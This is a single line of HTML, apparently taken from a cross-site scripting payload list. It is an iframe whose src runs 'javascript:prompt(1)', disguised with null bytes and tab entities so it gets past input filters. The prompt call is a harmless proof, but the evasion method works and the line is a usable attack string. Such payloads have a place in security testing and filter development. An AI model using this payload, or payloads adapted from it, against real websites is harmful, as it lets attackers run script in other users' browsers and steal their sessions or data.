<iframe %00 src="&Tab;javascript:prompt(1)&Tab;"%00>